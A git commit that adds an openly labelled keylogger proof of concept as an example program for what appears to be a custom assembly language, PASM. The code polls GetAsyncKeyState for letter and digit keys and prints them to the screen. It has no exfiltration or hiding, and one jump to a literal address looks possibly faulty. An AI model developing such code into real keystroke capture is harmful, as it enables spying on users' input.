add: keylogger.pasm example

This commit is contained in:
2024-01-19 23:16:39 +01:00
parent 3e1e679975
commit 9f46bbb27e
2 changed files with 41 additions and 0 deletions

40
examples/keylogger.pasm Normal file
View File

@@ -0,0 +1,40 @@
; Simple PASM keylogger POC
; by patate
; //https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
; -----------------------------------
; Keys 0 to 9 and A to Z
; -----------------------------------
; for (int i = 48; i < 91; i++) {
; if (i >= 58 && i <= 64) {
; continue;
; }
; if (GetAsyncKeyState(i) & 0x8000) {
; printf("%c", i);
; }
; }
main:
mov a1, 47
loop:
add a1, 1
cmp a1, 90
ja main
cmp a1, 58
jb 3
cmp a1, 65
jb loop
push a1 ;vKey
call GetAsyncKeyState
and eax, 32768 ;0x8000
cmp eax, 0
je loop
push a1
push 1
call put
jmp loop